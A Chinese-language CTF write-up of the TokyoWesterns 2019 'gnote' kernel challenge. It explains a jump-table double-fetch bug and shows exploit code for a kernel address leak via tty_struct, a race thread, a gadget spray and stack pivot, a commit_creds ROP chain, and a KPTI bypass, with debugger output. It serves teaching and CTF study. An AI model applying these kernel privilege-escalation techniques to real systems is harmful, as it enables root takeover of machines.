【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch

一、CVE-2015-8550

exp和原题可从我的github下载https://github.com/bsauce/CTF/tree/master/TokyoWesternsCTF2019-gnote。
漏洞详情可以参见https://wpengfei.github.io/cpedoc-accepted.pdf。

【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch_第1张图片

gcc 编译switch代码是,case超过5个就会变成jump table的形式。

例如:

#include 
#include 
#include 
#include 

int do_something(char *buf){
    int ret=0;
    switch(*(int *)buf){
        case 1:
            printf("case 1n");
            break;
        case 2:
            printf("case 2n");
            break;
        case 3:
            printf("case 3n");
            break;
        case 4:
            printf("case 4n");
            break;
        /*case 5:*/
            /*printf("case 5n");*/
            /*break;*/
    }
    return ret;
}
int main(int argc,char **argv){
    char *buf=malloc(0x100);
    *(int *)buf = 0x1;
    do_something(buf);
    return 0;
}

4种case时,选项rdi只取了一次,默认编译为cmp ... je形式:

【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch_第2张图片

5种case时,选项rdi取了两次,默认编译为jump table形式,根据case索引数组跳到对应逻辑:

【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch_第3张图片

可以看到对用户数据取了两次,先cmp DWORD PTR [rdi],0x5比较最大值,再mov eax,DWORD PTR [rdi]取rdi的值作为jump table的索引。引发Double-Fetch漏洞。

二、漏洞分析

1. 程序分析

gnote首先注册一个procfs入口/proc/gnote,只有read和write处理句柄。可以添加最多8个note(size最大为0x10000),note指针存于notes全局数组中,note结构如下:

struct note {
  unsigned long size;
  char *contents;
};

源码如下:

// 可add note 但是内容不可控,没有copy_from_user,只有copy_to_user
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{
  unsigned int index;
  mutex_lock(&lock);
  /*
   * 1. add note
   * 2. edit note
   * 3. delete note
   * 4. copy note
   * 5. select note
   * No implementation :(
   */
  switch(*(unsigned int *)buf){
    case 1:
      if(cnt >= MAX_NOTE){
        break;
      }
      notes[cnt].size = *((unsigned int *)buf+1);
      if(notes[cnt].size > 0x10000){
        break;
      }
      notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);
      cnt++;
      break;
    case 2:
      printk("Edit Not implemented\n");
      break;
    case 3:
      printk("Delete Not implemented\n");
      break;
    case 4:
      printk("Copy Not implemented\n");
      break;
    case 5:
      index = *((unsigned int *)buf+1);
      if(cnt > index){
        selected = index;
      }
      break;
  }
  mutex_unlock(&lock);
  return count;
}

ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{
  mutex_lock(&lock);
  if(selected == -1){
    mutex_unlock(&lock);
    return 0;
  }
  if(count > notes[selected].size){
    count = notes[selected].size;
  }
  copy_to_user(buf, notes[selected].contents, count);
  selected = -1;
  mutex_unlock(&lock);
  return count;
}

2. 漏洞

  1. Double-Fetch,只有在二进制中才看得出来,在gnote_write函数中,根据传入的选项数字决定跳转到哪个功能,选项数字直接从用户空间读取,先判断是否<=5,再取出来跳转到目标函数。如果中间篡改选项,可能就可能会跳转到任意地址。

    ; note that rbx is the buf argument, user-controlled
    cmp dword ptr [rbx], 5
    ja default_case
    mov eax, [rbx]
    mov rax, jump_table[rax*8]
    jmp rax
    
  2. 未初始化内存读,在gnote_read函数中。对于内核slub分配器(默认),内核函数创建的结构、kmalloc申请的空间都是先从特定大小的cache中申请。所以可以先调用系统调用,再把包含函数指针的块申请回来,读取原来的数据。例如/dev/ptmx中的tty_struct结构中指针,结构大小是0x2e0。

3. 漏洞利用

触发漏洞:

一个线程不断修改传入的index,而主线程不断调用write处理句柄。注意add note可以传入大于0x10000的size,这样会被add note丢弃,无害。触发代码如下:

#include 
#include 
#include 

#define FAKE_IDX "0x41414141"

void* thread_func(void* arg) {
    asm volatile("mov $" FAKE_IDX ", %%eax\n"
                 "mov %0, %%rbx\n"
                 "lbl:\n"
                 "xchg (%%rbx), %%eax\n"
                 "jmp lbl\n"
                 :
                 : "r" (arg)
                 : "rax", "rbx"
                 );
    return 0;
}

int main() {
    int fd = open("/proc/gnote", O_RDWR);
    unsigned int buf[2] = {0, 0x10001};
    pthread_t thr;
    pthread_create(&thr, 0, thread_func, &buf[0]);

    while (1)
        write(fd, buf, sizeof(buf));
    return 0;
}

mov rax, jump_table[0x41414141*8]导致崩溃。

利用漏洞:

  1. 有kaslr保护,但没有smap(这样才能执行用户空间的gadget),可以在用户空间喷射xchg eax, esp这个gadget;
  2. 选项大小、映射地址。mmap_min_addr=0x1000,模块加载最低地址是0xffffffffc0000000,所以传入的选项最小为0x8000200(0xffffffffc0000000 + 0x8000200*8 == 0x1000);
  3. 映射大小。最多映射0x1000页,否则会报错ENOMEM;
  4. 映射冲突。如果映射0x1000 - 0x10001000,可能会覆盖exp的默认加载地址0x400000…。一是可以映射0x1000000-0x2000000,二是可以编译时重定位binary—-Wl,--section-start=.note.gnu.build-id=0x40000158
  5. 栈迁移。利用gadget—xchg eax, esp ; ret使rsp指向用户空间,由于rsp指向gadget地址,所以需要在gadget&0xffffffff位置布置ropchain。
  6. ropchain布置。先设置CR4,再执行commit_creds(prepare_kernel_cred(0))。但为了缓解Meltdown漏洞,采用了页表隔离机制,用户空间不可执行,所以构造rop执行commit_creds(prepare_kernel_cred(0))
  7. 返回用户态。没有了rsp和rbp,通过rop跳进entry_SYSCALL_64(syscall入口);处理完syscall,进行页表转换,使用sysretq跳转到用户态,它把rip设置为rcx,rflags设置为r11。

三、Exploit

1.根据tty_struct结构泄露kernel_base

// Step 1 : leak kernel address
    fd=open("proc/gnote", O_RDWR);
    if (fd<0)
    {
        puts("[-] Open driver error!");
        exit(-1);
    }
    int fds[50];
    for (int i=0;i<50; i++)
        fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);
    for (int i=0;i<50; i++)
        close(fds[i]);
    add_note(fd,0x2e0);   // tty_struct结构大小0x2e0
    select_note(fd,0);
    read(fd, buf, 512);
    //for (int i=0; i< 20; i++)
    //    printf("%p\n", *(size_t *)(buf+i*8));
    unsigned long leak, kernel_base;
    leak= *(size_t *)(buf+3*8);
    kernel_base = leak - 0xA35360;
    printf("[+] Leak_addr= %p     kernel_base= %p\n", leak , kernel_base);

2.布置堆喷数据

由于没有smap保护,堆喷放上xchg eax, esp 使rsp指向用户空间即可。mov rax, jump_table[rax*8],内核加载最低地址是0xffffffffc0000000 + (0x8000000+0x1000000) x 8 = 0x8000000, 所以从0x8000000地址处开始喷射xchg eax, esp地址。

// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
    char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    unsigned long *spray_addr= (unsigned long *)pivot_addr;
    for (int i=0; i<0x1000000/8; i++)
        spray_addr[i]=xchg_eax_esp_ret;

3.布置rop链

由于最后是jmp rax,rax指向xchg eax, esp,所以rop链放在xchg_eax_esp_ret & 0xffffffff地址即可。mmap是需要页对齐的,所以mmap_base == xchg_eax_esp_ret & 0xfffff000

// Step 3 : 布置ROP。由于已经xchg eax,esp  而rax指向xchg地址,所以rop链地址是xchg地址低8位。
    unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;
    unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);
    char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,
        MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);
    int i=0;
               // commit_creds(prepare_kernel_cred(0))
    rop_base[i++] = pop_rdi_ret;
    rop_base[i++] = 0;
    rop_base[i++] = prepare_kernel_cred;
    rop_base[i++] = pop_rsi_ret;          //    ja大于则跳转,-1是最大的数
    rop_base[i++] = -1;
    rop_base[i++] = mov_rdi_rax_p_ret;
    rop_base[i++] = 0;
    rop_base[i++] = commit_creds;
               // bypass kpti
    rop_base[i++] = kpti_ret;
    rop_base[i++] = 0;
    rop_base[i++] = 0;
    rop_base[i++] = &shell;
    rop_base[i++] = user_cs;
    rop_base[i++] = user_rflags;
    rop_base[i++] = user_sp;
    rop_base[i++] = user_ss;

4.开始竞争

// Step 4 : 开始竞争
    race_arg.arg = 0x10001;
    pthread_create(&pthread,NULL, race, &race_arg);
    for (int j=0; j< 0x10000000000; j++)
    {
        race_arg.menu = 1;
        write(fd, (void*)&race_arg, sizeof(struct data));
    }
    pthread_join(pthread, NULL);

void race(void *s)
{
    struct data *d=s;
    while(!istriggered){
        d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000
        puts("[*] race ...");
    }
}

【内核漏洞利用】TokyoWesternsCTF-2019-gnote Double-Fetch_第4张图片
在这里插入图片描述

问题:

(1)xchg eax, esp 之后rsp高8位还是0xffffffff啊,为什么只在低位布置rop呢?

在内核空间执行任意代码,我们需要将我们的栈指针指向我们能够控制的用户空间。尽管我们的测试环境是64位,但我们依旧对最后一个寄存器改为32位的gadget感兴趣。xchg %eXx, %esp ; ret xchg %esp, %eXx ; ret. 如果我们的%rax是一个有效的内核地址,这个栈反转指令将会使rax的低32位作为新的栈地址,虽然不知道为什么。一旦rax的值在执行f()被执行前知道,我们将知道用户空间栈的地址并相应进行mmap。

#执行xchg之前:
gef➤  i r
rax            0xffffffffb501992a	0xffffffffb501992a
rsp            0xffff966180227da0	0xffff966180227da0

gef➤  stack
0xffff966180227da0:	0xffff8f8d0eaa5780
0xffff966180227da8:	0xfffffffffffffffb
gef➤  si
Warning: not running or target is remote
0xffffffffb501992b in ?? ()
Warning: not running or target is remote
#执行xchg之后:
gef➤  x /5i $pc
=> 0xffffffffb501992b:	ret    
   0xffffffffb501992c:	scas   al,BYTE PTR es:[rdi]

gef➤  stack
Warning: not running or target is remote
0xb501992a:	0xffffffffb501c20d
0xb5019932:	0x0000000000000000
0xb501993a:	0xffffffffb5069fe0
gef➤  i r
rax            0x80227da0	0x80227da0
 ...
rsp            0xb501992a	0xb501992a

栈迁移:

leave_ret (没有截断符号例如0xa0,就可以用):mov esp,ebp;pop ebp;ret

xchg eax,esp

(2)绕过kpti的方法是什么?

注意,利用老方法swapgsiretq组合总是不成功。

cat /proc/kallsyms| grep swapgs_restore_regs_and_return_to_usermode

利用了swapgs_restore_regs_and_return_to_usermode,跳过开头的pop。构造rop链时,后面放2个0,再开始放关键的5个寄存器。

/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernel

gef➤  x /50i 0xffffffffbde00a34
   0xffffffffbde00a34:  pop    r15
   0xffffffffbde00a36:  pop    r14
   0xffffffffbde00a38:  pop    r13
   0xffffffffbde00a3a:  pop    r12
   0xffffffffbde00a3c:  pop    rbp
   0xffffffffbde00a3d:  pop    rbx
   0xffffffffbde00a3e:  pop    r11
   0xffffffffbde00a40:  pop    r10
   0xffffffffbde00a42:  pop    r9
   0xffffffffbde00a44:  pop    r8
   0xffffffffbde00a46:  pop    rax
   0xffffffffbde00a47:  pop    rcx
   0xffffffffbde00a48:  pop    rdx
   0xffffffffbde00a49:  pop    rsi
   0xffffffffbde00a4a:  mov    rdi,rsp                 <<<<<<<<<<<<<<<<<<<<<<
   0xffffffffbde00a4d:  mov    rsp,QWORD PTR gs:0x5004
   0xffffffffbde00a56:  push   QWORD PTR [rdi+0x30]
   0xffffffffbde00a59:  push   QWORD PTR [rdi+0x28]
   0xffffffffbde00a5c:  push   QWORD PTR [rdi+0x20]
   0xffffffffbde00a5f:  push   QWORD PTR [rdi+0x18]

参考:

https://wpengfei.github.io/cpedoc-accepted.pdf

https://rpis.ec/blog/tokyowesterns-2019-gnote/

https://www.anquanke.com/post/id/185911

linux漏洞缓解机制介绍

你可能感兴趣的:(CTF,内核漏洞,漏洞,内核漏洞)